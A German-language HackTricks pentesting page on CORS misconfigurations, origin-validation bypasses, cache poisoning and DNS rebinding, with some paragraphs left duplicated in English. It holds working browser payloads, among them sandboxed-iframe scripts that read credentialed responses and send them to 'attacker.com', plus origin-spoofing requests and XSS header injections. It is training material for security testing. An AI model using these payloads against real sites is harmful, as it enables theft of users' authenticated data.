CORS - Fehlkonfigurationen & Umgehung

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

What is CORS?

Cross-Origin Resource Sharing (CORS) standard enables servers to define who can access their assets and which HTTP request methods are permitted from external sources.

A same-origin policy mandates that a server requesting a resource and the server hosting the resource share the same protocol (e.g., http://), domain name (e.g., internal-web.com), and port (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.

The application of the same-origin policy in the context of http://normal-website.com/example/example.html is illustrated as follows:

URL accessedAccess permitted?
http://normal-website.com/example/Ja: Identisches Schema, Domain und Port
http://normal-website.com/example2/Ja: Identisches Schema, Domain und Port
https://normal-website.com/example/Nein: Unterschiedliches Schema und Port
http://en.normal-website.com/example/Nein: Unterschiedliche Domain
http://www.normal-website.com/example/Nein: Unterschiedliche Domain
http://normal-website.com:8080/example/Nein: Unterschiedlicher Port*

*Internet Explorer disregards the port number in enforcing the same-origin policy, thus allowing this access.

Access-Control-Allow-Origin Header

This header can allow multiple origins, a null value, or a wildcard *. However, no browser supports multiple origins, and the use of the wildcard * is subject to limitations. (The wildcard must be used alone, and its use alongside Access-Control-Allow-Credentials: true is not permitted.)

This header is issued by a server in response to a cross-domain resource request initiated by a website, with the browser automatically adding an Origin header.

Access-Control-Allow-Credentials Header

By default, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the Access-Control-Allow-Credentials header to true.

If set to true, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Preflight-Anfrage

Verständnis von Preflight-Anfragen in der domänenübergreifenden Kommunikation

Beim Einleiten einer domänenübergreifenden Anfrage unter bestimmten Bedingungen, wie der Verwendung einer nicht standardmäßigen HTTP-Methode (alles außer HEAD, GET, POST), dem Hinzufügen neuer Header oder dem Einsatz eines speziellen Content-Type-Header-Werts, kann eine Preflight-Anfrage erforderlich sein. Diese vorbereitende Anfrage, die die OPTIONS-Methode nutzt, dient dazu, den Server über die Absichten der bevorstehenden Cross-Origin-Anfrage zu informieren, einschließlich der HTTP-Methoden und Header, die verwendet werden sollen.

Das Cross-Origin Resource Sharing (CORS)-Protokoll schreibt diese Preflight-Prüfung vor, um die Durchführbarkeit der angeforderten Cross-Origin-Operation festzustellen, indem die erlaubten Methoden, Header und die Vertrauenswürdigkeit der Origin verifiziert werden. Für ein detailliertes Verständnis darüber, welche Bedingungen die Notwendigkeit einer Preflight-Anfrage umgehen, siehe den ausführlichen Leitfaden von Mozilla Developer Network (MDN).

Es ist wichtig zu beachten, dass das Fehlen einer Preflight-Anfrage nicht die Anforderung aufhebt, dass die Antwort Autorisierungs-Header enthalten muss. Ohne diese Header ist der Browser nicht in der Lage, die Antwort der Cross-Origin-Anfrage zu verarbeiten.

Betrachte die folgende Darstellung einer Preflight-Anfrage, die darauf abzielt, die PUT-Methode zusammen mit einem benutzerdefinierten Header namens Special-Request-Header zu verwenden:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Als Antwort könnte der Server Header zurückgeben, die die akzeptierten Methoden, den erlaubten Origin und weitere Details der CORS-Richtlinie anzeigen, wie unten gezeigt:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Dieser Header gibt an, welche Header während der eigentlichen Anfrage verwendet werden können. Er wird vom Server gesetzt, um die in Anfragen vom Client erlaubten Header anzugeben.
  • Access-Control-Expose-Headers: Über diesen Header informiert der Server den Client, welche Header neben den einfachen Antwort-Headern als Teil der Antwort offengelegt werden können.
  • Access-Control-Max-Age: Dieser Header gibt an, wie lange die Ergebnisse einer Pre-flight-Anfrage zwischengespeichert werden können. Der Server setzt die maximale Zeit, in Sekunden, die die Informationen einer Pre-flight-Anfrage wiederverwendet werden dürfen.
  • Access-Control-Request-Headers: Wird in Pre-flight-Anfragen verwendet; dieser Header wird vom Client gesetzt, um dem Server mitzuteilen, welche HTTP-Header der Client in der eigentlichen Anfrage verwenden möchte.
  • Access-Control-Request-Method: Dieser Header, ebenfalls in Pre-flight-Anfragen verwendet, wird vom Client gesetzt, um anzugeben, welche HTTP-Methode in der eigentlichen Anfrage verwendet wird.
  • Origin: Dieser Header wird automatisch vom Browser gesetzt und gibt die Origin der Cross-Origin-Anfrage an. Er wird vom Server genutzt, um zu beurteilen, ob die eingehende Anfrage basierend auf der CORS-Policy erlaubt oder abgelehnt werden soll.

Beachte, dass üblicherweise (abhängig vom content-type und den gesetzten Headern) bei einer GET/POST-Anfrage keine Pre-flight-Anfrage gesendet wird (die Anfrage wird direkt gesendet), aber wenn du auf die headers/body der Antwort zugreifen willst, muss die Antwort einen Access-Control-Allow-Origin Header enthalten, der dies erlaubt.
Daher schützt CORS nicht vor CSRF (kann aber hilfreich sein).

Pre-flight-Anfragen für lokale Netzwerkzugriffe

  1. Access-Control-Request-Local-Network: Dieser Header ist in der Anfrage des Clients enthalten, um anzuzeigen, dass die Anfrage auf eine Ressource im lokalen Netzwerk abzielt. Er dient als Kennzeichen, um dem Server mitzuteilen, dass die Anfrage aus dem lokalen Netzwerk stammt.
  2. Access-Control-Allow-Local-Network: Als Antwort verwendet der Server diesen Header, um mitzuteilen, dass die angeforderte Ressource mit Entitäten außerhalb des lokalen Netzwerks geteilt werden darf. Er fungiert als grünes Licht für das Teilen von Ressourcen über verschiedene Netzwerkgrenzen hinweg und ermöglicht kontrollierten Zugriff bei gleichzeitiger Einhaltung von Sicherheitsprotokollen.

Eine gültige Antwort, die die lokale Netzwerk-Anfrage erlaubt, muss außerdem in der Antwort den Header Access-Controls-Allow-Local_network: true enthalten:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Warning

Beachte, dass die linux 0.0.0.0 IP dazu verwendet werden kann, diese Anforderungen zu bypass, um auf localhost zuzugreifen, da diese IP-Adresse nicht als „lokal“ angesehen wird.

Es ist außerdem möglich, die bypass die Anforderungen des lokalen Netzwerks wenn du die öffentliche IP-Adresse eines lokalen Endpunkts (z. B. die öffentliche IP des Routers) verwendest. Denn in mehreren Fällen wird der Zugriff gewährt, selbst wenn die öffentliche IP angesprochen wird, sofern der Zugriff aus dem lokalen Netzwerk erfolgt.

Wildcards

Beachte, dass selbst wenn die folgende Konfiguration äußerst permissiv wirken mag:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Das ist von browsers nicht erlaubt und daher werden credentials nicht mit der dadurch ausgelösten Anfrage gesendet.

Ausnutzbare Fehlkonfigurationen

Es wurde beobachtet, dass das Setzen von Access-Control-Allow-Credentials auf true eine Voraussetzung für die meisten realen Angriffe ist. Diese Einstellung erlaubt dem browser, credentials zu senden und die Antwort zu lesen, wodurch die Effektivität des Angriffs steigt. Ohne diese Einstellung verringert sich der Vorteil, eine Anfrage vom browser auslösen zu lassen statt sie selbst durchzuführen, da die Ausnutzung der cookies eines Benutzers unmöglich wird.

Ausnahme: Ausnutzen des Netzwerkstandorts als Authentifizierungsmerkmal

Es gibt eine Ausnahme, bei der der Netzwerkstandort des Opfers als eine Form der Authentifizierung fungiert. Dadurch kann der browser als Proxy verwendet werden, wodurch IP-basierte Authentifizierung umgangen wird, um auf intranet applications zuzugreifen. Diese Methode ähnelt in der Wirkung der DNS rebinding, ist aber einfacher auszunutzen.

Reflection of Origin in Access-Control-Allow-Origin

Ein reales Szenario, in dem der Wert des Origin-Headers in Access-Control-Allow-Origin reflektiert wird, ist theoretisch unwahrscheinlich aufgrund von Beschränkungen beim Kombinieren dieser Header. Entwickler, die CORS für mehrere URLs erlauben wollen, generieren jedoch möglicherweise dynamisch den Access-Control-Allow-Origin-Header, indem sie den Wert des Origin-Headers kopieren. Dieser Ansatz kann Schwachstellen einführen, insbesondere wenn ein Angreifer eine Domain verwendet, deren Name so gestaltet ist, dass er legitim erscheint und damit die Validierungslogik täuscht.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Ausnutzen der null Origin

Die null Origin, die in Situationen wie Redirects oder lokalen HTML-Dateien angegeben wird, nimmt eine besondere Stellung ein. Manche Anwendungen setzen diese Origin auf eine Whitelist, um die lokale Entwicklung zu erleichtern, und erlauben dadurch unbeabsichtigt jeder Website, eine null Origin mithilfe eines sandboxed iframe zu imitieren und so CORS-Beschränkungen zu umgehen.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Bypass-Techniken für Regular Expressions

Wenn man auf eine domain whitelist trifft, ist es entscheidend, auf Bypass-Möglichkeiten zu testen, z. B. indem man die Domain des Angreifers an eine whitelisted Domain anhängt oder Subdomain-Takeover-Schwachstellen ausnutzt. Außerdem können für die Domain-Validierung verwendete regular expressions Nuancen in Domain-Namenskonventionen übersehen, was weitere Umgehungsmöglichkeiten eröffnet.

Fortgeschrittene Regular-Expression-Bypässe

Regex-Muster konzentrieren sich typischerweise auf alphanumerische Zeichen, dot (.), und hyphen (-) und vernachlässigen andere Möglichkeiten. Ein Domainname, der so gestaltet ist, dass er Zeichen enthält, die von Browsern und Regex-Mustern unterschiedlich interpretiert werden, kann Sicherheitsprüfungen umgehen. Die Handhabung von underscore-Zeichen in Subdomains durch Safari, Chrome und Firefox veranschaulicht, wie solche Diskrepanzen ausgenutzt werden können, um die Domain-Validierungslogik zu umgehen.

Für weitere Informationen und die Einstellungen dieses Bypass-Checks: https://www.corben.io/advanced-cors-techniques/ and https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Aus XSS innerhalb einer Subdomain

Entwickler implementieren häufig Abwehrmechanismen, um CORS-Exploitation zu verhindern, indem sie Domains whitelisten, die berechtigt sind, Informationen anzufordern. Trotz dieser Vorsichtsmaßnahmen ist die Systemsicherheit nicht narrensicher. Schon das Vorhandensein einer einzelnen verwundbaren Subdomain innerhalb der whitelisted Domains kann die Tür für CORS-Exploitation durch andere Verwundbarkeiten wie XSS (Cross-Site Scripting) öffnen.

Um das zu veranschaulichen, betrachten wir das Szenario, in dem eine Domain, requester.com, zum Zugriff auf Ressourcen einer anderen Domain, provider.com, whitelisted ist. Die serverseitige Konfiguration könnte in etwa so aussehen:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

In dieser Konfiguration haben alle Subdomains von requester.com Zugriff. Wenn jedoch eine Subdomain, z. B. sub.requester.com, durch eine XSS-Schwachstelle kompromittiert wird, kann ein Angreifer diese Schwäche ausnutzen. Ein Angreifer mit Zugriff auf sub.requester.com könnte die XSS-Schwachstelle zum Beispiel ausnutzen, um CORS-Richtlinien zu umgehen und bösartig auf Ressourcen auf provider.com zuzugreifen.

Sonderzeichen

PortSwigger’s URL validation bypass cheat sheet hat festgestellt, dass einige Browser seltsame Zeichen in Domainnamen unterstützen.

Chrome und Firefox unterstützen Unterstriche _, die regexes umgehen können, die zur Validierung des Origin-Headers implementiert wurden:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari ist noch großzügiger und akzeptiert Sonderzeichen im Domainnamen:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Andere lustige URL-Tricks

URL Format Bypass

Server-side cache poisoning

From this research

Es ist möglich, dass durch Ausnutzung von server-side cache poisoning via HTTP header injection eine stored Cross-Site Scripting (XSS) vulnerability hervorgerufen werden kann. Dieses Szenario tritt auf, wenn eine Anwendung den Origin-Header nicht auf illegale Zeichen bereinigt, wodurch eine Vulnerability entsteht, die besonders Internet Explorer- und Edge-Nutzer betrifft. Diese Browser behandeln (0x0d) als legitimen HTTP header terminator, was zu HTTP header injection vulnerabilities führt.

Betrachten Sie die folgende Anfrage, bei der der Origin-Header manipuliert wird:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer und Edge interpretieren die Antwort als:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page’s character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

Obwohl es nicht praktikabel ist, diese Schwachstelle direkt auszunutzen, indem ein Webbrowser dazu gebracht wird, einen fehlerhaften Header zu senden, kann eine präparierte Anfrage manuell mit Tools wie Burp Suite erzeugt werden. Diese Methode könnte dazu führen, dass ein server-side cache die Antwort speichert und unbeabsichtigt an andere ausliefert. Die präparierte Payload zielt darauf ab, das Charset der Seite auf UTF-7 zu ändern, eine Zeichenkodierung, die häufig mit XSS vulnerabilities in Verbindung gebracht wird, da sie Zeichen so kodieren kann, dass sie in bestimmten Kontexten als Script ausgeführt werden können.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Für weiterführende Informationen zu stored XSS vulnerabilities siehe PortSwigger.

Note: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Note: Die Ausnutzung von HTTP header injection vulnerabilities, insbesondere durch server-side cache poisoning, macht deutlich, wie wichtig die Validierung und Sanitisierung aller vom Benutzer gelieferten Eingaben ist, einschließlich HTTP-Header. Setzen Sie stets ein robustes Sicherheitsmodell ein, das Input-Validation umfasst, um solche Schwachstellen zu verhindern.

Client-Side cache poisoning

From this research

In this scenario, an instance of a web page reflecting the contents of a custom HTTP header without proper encoding is observed. Specifically, the web page reflects back the contents included in a X-User-id header, which could include malicious JavaScript, as demonstrated by the example where the header contains an SVG image tag designed to execute JavaScript code on load.

In diesem Szenario wird beobachtet, dass eine Instanz einer Webseite den Inhalt eines custom HTTP header ohne korrekte Kodierung reflektiert. Konkret gibt die Seite den Inhalt des X-User-id Headers zurück, der bösartigen JavaScript-Code enthalten könnte, wie das Beispiel zeigt, in dem der Header ein SVG-Image-Tag enthält, das beim Laden JavaScript-Code ausführt.

Cross-Origin Resource Sharing (CORS) policies allow for the sending of custom headers. However, without the response being directly rendered by the browser due to CORS restrictions, the utility of such an injection might seem limited. The critical point arises when considering the browser’s cache behavior. If the Vary: Origin header is not specified, it becomes possible for the malicious response to be cached by the browser. Subsequently, this cached response could be rendered directly when navigating to the URL, bypassing the need for direct rendering upon the initial request. This mechanism enhances the reliability of the attack by leveraging client-side caching.

Cross-Origin Resource Sharing (CORS)-Richtlinien erlauben das Senden von custom headers. Da die Antwort aufgrund von CORS-Einschränkungen jedoch nicht direkt vom Browser gerendert wird, mag der Nutzen einer solchen Injection begrenzt erscheinen. Der kritische Punkt ergibt sich beim Verhalten des Browser-Caches: Wenn der Vary: Origin Header nicht gesetzt ist, kann die bösartige Antwort vom Browser gecacht werden. Diese gecachte Antwort kann beim Aufrufen der URL direkt gerendert werden, wodurch die Notwendigkeit entfällt, dass die Antwort beim initialen Request unmittelbar gerendert wird. Dieser Mechanismus erhöht die Zuverlässigkeit des Angriffs, indem er client-side caching ausnutzt.

To illustrate this attack, a JavaScript example is provided, designed to be executed in the environment of a web page, such as through a JSFiddle. This script performs a simple action: it sends a request to a specified URL with a custom header containing the malicious JavaScript. Upon successful request completion, it attempts to navigate to the target URL, potentially triggering the execution of the injected script if the response has been cached without proper handling of the Vary: Origin header.

Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel gezeigt, das in der Umgebung einer Webseite ausgeführt werden kann, etwa über JSFiddle. Das Script führt eine einfache Aktion aus: Es sendet eine Anfrage an eine angegebene URL mit einem custom header, der das bösartige JavaScript enthält. Nach erfolgreichem Abschluss der Anfrage versucht es, zur Ziel-URL zu navigieren, wodurch die Ausführung des injizierten Skripts ausgelöst werden kann, falls die Antwort ohne korrektes Handling des Vary: Origin Headers gecacht wurde.

Here’s a summarized breakdown of the JavaScript used to execute this attack:

Hier eine zusammengefasste Aufschlüsselung des JavaScript, das für die Ausführung dieses Angriffs verwendet wird:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Umgehung

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, auch bekannt als Cross-Site Script Inclusion, ist eine Art von Vulnerability, die ausnutzt, dass die Same Origin Policy (SOP) nicht greift, wenn Ressourcen mittels des script tags eingebunden werden. Das liegt daran, dass scripts von unterschiedlichen Domains eingebunden werden können müssen. Diese Vulnerability erlaubt einem Angreifer, auf jeglichen Inhalt zuzugreifen und diesen zu lesen, der mittels des script tags eingebunden wurde.

Diese Vulnerability wird besonders relevant bei dynamischem JavaScript oder JSONP (JSON with Padding), vor allem wenn ambient-authority Informationen wie cookies zur Authentifizierung verwendet werden. Beim Anfordern einer Ressource von einem anderen Host werden die cookies mitsamtgesendet, wodurch sie für den Angreifer zugänglich werden.

Um diese Vulnerability besser zu verstehen und zu mitigieren, kannst du das BurpSuite Plugin nutzen, verfügbar unter https://github.com/kapytein/jsonp. Dieses Plugin kann helfen, potenzielle XSSI-Schwachstellen in deinen Webanwendungen zu identifizieren und zu beheben.

Read more about the difefrent types of XSSI and how to exploit them here.

Versuche einen callback Parameter in die Anfrage einzufügen. Vielleicht war die Seite darauf vorbereitet, die Daten als JSONP zu senden. In diesem Fall sendet die Seite die Daten mit Content-Type: application/javascript, was die CORS-Policy umgehen wird.

Einfacher (nutzloser?) Bypass

Eine Möglichkeit, die Access-Control-Allow-Origin-Beschränkung zu umgehen, besteht darin, eine Webanwendung dazu zu bringen, eine Anfrage in deinem Auftrag zu stellen und die Antwort zurückzusenden. In diesem Szenario werden jedoch die Credentials des endgültigen Opfers nicht mitgesendet, da die Anfrage an eine andere Domain geht.

  1. CORS-escape: Dieses Tool stellt einen Proxy bereit, der deine Anfrage zusammen mit ihren Headers weiterleitet und gleichzeitig den Origin-Header fälscht, sodass er zur angeforderten Domain passt. Das umgeht effektiv die CORS-Policy. Hier ein Beispiel für die Nutzung mit XMLHttpRequest:
  2. simple-cors-escape: Dieses Tool bietet einen alternativen Ansatz zum Proxying von Requests. Statt deine Anfrage unverändert weiterzugeben, stellt der Server seine eigene Anfrage mit den spezifizierten Parametern.

Iframe + Popup Umgehung

Du kannst CORS-Checks wie e.origin === window.origin umgehen, indem du ein iframe erstellst und von diesem aus ein neues Fenster öffnest. Mehr Informationen auf der folgenden Seite:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL ist eine Technik, die verwendet wird, um bestimmte Sicherheitsmaßnahmen zu umgehen, indem DNS-Einträge manipuliert werden. So funktioniert sie:

  1. Der Angreifer erstellt eine Webseite und bringt das Opfer dazu, sie zu besuchen.
  2. Der Angreifer ändert anschließend das DNS (IP) seiner eigenen Domain, sodass es auf die Webseite des Opfers zeigt.
  3. Der Browser des Opfers cached die DNS-Antwort, die einen TTL (Time to Live)-Wert enthalten kann, der angibt, wie lange der DNS-Eintrag als gültig angesehen werden soll.
  4. Wenn der TTL abläuft, macht der Browser des Opfers eine neue DNS-Anfrage, wodurch der Angreifer JavaScript-Code auf der Seite des Opfers ausführen kann.
  5. Indem der Angreifer die Kontrolle über die IP des Opfers behält, kann er Informationen vom Opfer sammeln, ohne Cookies an den Opfer-Server zu senden.

Es ist wichtig zu beachten, dass Browser Caching-Mechanismen haben, die einen unmittelbaren Missbrauch dieser Technik verhindern können, selbst bei niedrigen TTL-Werten.

DNS rebinding kann nützlich sein, um explizite IP-Prüfungen des Opfers zu umgehen oder für Szenarien, in denen ein Nutzer oder Bot für längere Zeit auf derselben Seite bleibt, sodass der Cache ablaufen kann.

Wenn du eine schnelle Möglichkeit brauchst, DNS rebinding auszunutzen, kannst du Dienste wie https://lock.cmpxchg8b.com/rebinder.html verwenden.

Um deinen eigenen DNS rebinding Server zu betreiben, kannst du Tools wie DNSrebinder (https://github.com/mogwailabs/DNSrebinder) nutzen. Das beinhaltet, deinen lokalen Port 53/udp zu exposen, einen A-Record zu erstellen, der darauf zeigt (z. B. ns.example.com) und einen NS-Record zu erstellen, der auf die zuvor erstellte A-Subdomain zeigt (z. B. ns.example.com). Jede Subdomain der ns.example.com Subdomain wird dann von deinem Host aufgelöst.

Du kannst auch einen öffentlich laufenden Server unter http://rebind.it/singularity.html zur weiteren Untersuchung und zum Experimentieren nutzen.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding ist eine weitere Technik, um den Caching-Mechanismus der Browser zu umgehen und eine zweite DNS-Anfrage zu erzwingen. So funktioniert sie:

  1. Zunächst wird, wenn das Opfer eine DNS-Anfrage stellt, mit der IP des Angreifers geantwortet.
  2. Um die Caching-Abwehr zu umgehen, nutzt der Angreifer einen service worker. Der service worker flutet den DNS-Cache, wodurch der gecachte Angreifer-Servername effektiv gelöscht wird.
  3. Wenn der Browser des Opfers eine zweite DNS-Anfrage stellt, wird nun mit der IP-Adresse 127.0.0.1 geantwortet, die typischerweise auf localhost verweist.

Durch das Fluten des DNS-Caches mittels service worker kann der Angreifer die DNS-Auflösung manipulieren und den Browser des Opfers dazu bringen, eine zweite Anfrage zu stellen, die diesmal auf die gewünschte IP des Angreifers auflöst.

DNS Rebinding via Cache

Eine andere Möglichkeit, die Caching-Abwehr zu umgehen, besteht darin, mehrere IP-Adressen für dieselbe Subdomain beim DNS-Provider zu setzen. So funktioniert es:

  1. Der Angreifer legt zwei A-Records (oder einen einzelnen A-Record mit zwei IPs) für dieselbe Subdomain beim DNS-Provider an.
  2. Wenn ein Browser diese Records abfragt, erhält er beide IP-Adressen.
  3. Entscheidet sich der Browser, zuerst die IP des Angreifers zu verwenden, kann der Angreifer ein Payload servieren, das HTTP-Requests zur selben Domain durchführt.
  4. Sobald der Angreifer jedoch die IP des Opfers ermittelt hat, hört er auf, auf die Browser-Anfragen des Opfers zu antworten.
  5. Der Browser des Opfers, der erkennt, dass die Domain nicht mehr antwortet, wechselt zur Nutzung der zweiten angegebenen IP-Adresse.
  6. Durch den Zugriff auf die zweite IP-Adresse umgeht der Browser die Same Origin Policy (SOP), was es dem Angreifer ermöglicht, dies auszunutzen und Informationen zu sammeln und exfiltrieren.

Diese Technik nutzt das Verhalten von Browsern, wenn mehrere IP-Adressen für eine Domain bereitgestellt werden. Durch strategische Kontrolle der Antworten und Manipulation der Auswahl der IP-Adresse durch den Browser kann ein Angreifer die SOP ausnutzen und Informationen vom Opfer abrufen.

Warning

Beachte, dass du, um auf localhost zuzugreifen, versuchen solltest, 127.0.0.1 in Windows und 0.0.0.0 in Linux zu rebinden.
Provider wie godaddy oder cloudflare erlaubten mir nicht, die IP 0.0.0.0 zu verwenden, aber AWS route53 erlaubte mir, einen A-Record mit 2 IPs zu erstellen, wobei eine davon “0.0.0.0” war.

Für mehr Info kannst du https://unit42.paloaltonetworks.com/dns-rebinding/ prüfen.

Weitere gängige Umgehungen

  • Wenn interne IPs nicht erlaubt sind, haben sie möglicherweise vergessen, 0.0.0.0 zu verbieten (funktioniert auf Linux und Mac)
  • Wenn interne IPs nicht erlaubt sind, antworte mit einem CNAME auf localhost (funktioniert auf Linux und Mac)
  • Wenn interne IPs in DNS-Antworten nicht erlaubt sind, kannst du CNAMEs zu internen Services zurückgeben, wie z. B. www.corporate.internal.

DNS Rebinding als Waffe

Mehr Informationen zu den vorherigen Umgehungstechniken und zur Nutzung des folgenden Tools findest du im Talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin ist ein Tool, um DNS rebinding Angriffe durchzuführen. Es enthält die notwendigen Komponenten, um die IP-Adresse des DNS-Namens des Angreifer-Servers auf die IP des Zielrechners umzubinden und Attack-Payloads zu servieren, um verwundbare Software auf dem Ziel zu exploitieren.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH tunnelt einfach das klassische RFC1035 DNS Wire-Format innerhalb von HTTPS (üblicherweise ein POST mit Content-Type: application/dns-message). Der Resolver antwortet weiterhin mit denselben resource records, sodass SOP-brechende Techniken weiterhin funktionieren, selbst wenn Browser den angreifer-kontrollierten Hostnamen über TLS auflösen.

Wesentliche Beobachtungen

  • Chrome (Windows/macOS) und Firefox (Linux) rebinden erfolgreich, wenn sie für Cloudflare, Google oder OpenDNS DoH-Resolver konfiguriert sind. Transportverschlüsselung verzögert oder blockiert den Angriffsfluss für first-then-second, multiple-answers oder DNS cache flooding Strategien nicht.
  • Öffentliche Resolver sehen weiterhin jede Anfrage, aber sie erzwingen selten das Host-zu-IP-Mapping, das ein Browser einhalten muss. Sobald der autoritative Server die Rebinding-Sequenz zurückgibt, behält der Browser das ursprüngliche origin tuple bei, während er sich mit der neuen IP verbindet.

Singularity-Strategien und Timing über DoH

  • First-then-second bleibt die zuverlässigste Option: Der erste Lookup liefert die Angreifer-IP, die das Payload serviert, jeder spätere Lookup liefert die interne/localhost-IP. Mit typischen Browser-DNS-Caches schaltet sich dieser Wechsel in ~40–60 Sekunden um, selbst wenn der rekursive Resolver nur über HTTPS erreichbar ist.
  • Multiple answers (fast rebinding) erreicht localhost immer noch in <3 Sekunden, indem mit zwei A-Records geantwortet wird (Angreifer-IP + 0.0.0.0 auf Linux/macOS oder 127.0.0.1 auf Windows) und die erste IP kurz nach dem Laden der Seite programmatisch blackholed wird (z. B. iptables -I OUTPUT -d <attacker_ip> -j DROP). Fireflox’ DoH-Implementierung kann wiederholte DNS-Anfragen auslösen, daher ist die Singularity-Lösung, die Firewall-Regel relativ zum ersten Anfrage-Zeitstempel zu planen, anstatt den Timer bei jeder Anfrage zu erneuern.

„rebind protection“ in DoH-Providern umgehen

  • Manche Provider (z. B. NextDNS) ersetzen private/loopback Antworten durch 0.0.0.0, aber Linux und macOS routen dieses Ziel problemlos zu lokalen Diensten. Das bewusste Zurückgeben von 0.0.0.0 als zweiter Record pivotiert daher dennoch das origin zu localhost.
  • Nur die direkte A/AAAA-Antwort zu filtern ist ineffektiv: das Zurückgeben eines CNAME zu einem nur intern erreichbaren Hostnamen lässt den öffentlichen DoH-Resolver den Alias weiterreichen, während Browser wie Firefox auf das System-DNS für die interne Zone zurückfallen, was die Auflösung zu einer privaten IP vervollständigt, die weiterhin als Angreifer-Origin behandelt wird.

Browser-spezifisches DoH-Verhalten

  • Firefox DoH operiert im Fallback-Modus: Jeder DoH-Fehler (einschließlich eines nicht auflösbaren CNAME-Ziels) löst eine Klartext-Abfrage über den OS-Resolver aus, der typischerweise ein Enterprise-DNS-Server ist und den internen Namespace kennt. Dieses Verhalten macht den CNAME-Bypass in Firmennetzen zuverlässig.
  • Chrome DoH aktiviert sich nur, wenn das OS-DNS auf einen whitelisted DoH-fähigen rekursiven Resolver zeigt (Cloudflare, Google, Quad9, etc.) und bietet nicht dieselbe Fallback-Kette. Interne Hostnamen, die nur im Corporate-DNS existieren, können daher nicht aufgelöst werden, aber das Rebinding Richtung localhost oder einer routbaren Adresse gelingt weiterhin, weil der Angreifer die gesamte Antwortmenge kontrolliert.

DoH-Flows testen und überwachen

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS und den DoH-Endpunkt angeben (Cloudflare und NextDNS sind integriert). Chrome/Chromium: aktiviere chrome://flags/#dns-over-https und konfiguriere die OS-DNS-Server auf einen der von Chrome unterstützten Resolver (z. B. 1.1.1.1/1.0.0.1).
  • Du kannst öffentliche DoH-APIs direkt abfragen, z. B. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq, um die genauen Records zu bestätigen, die Browser cachen werden.
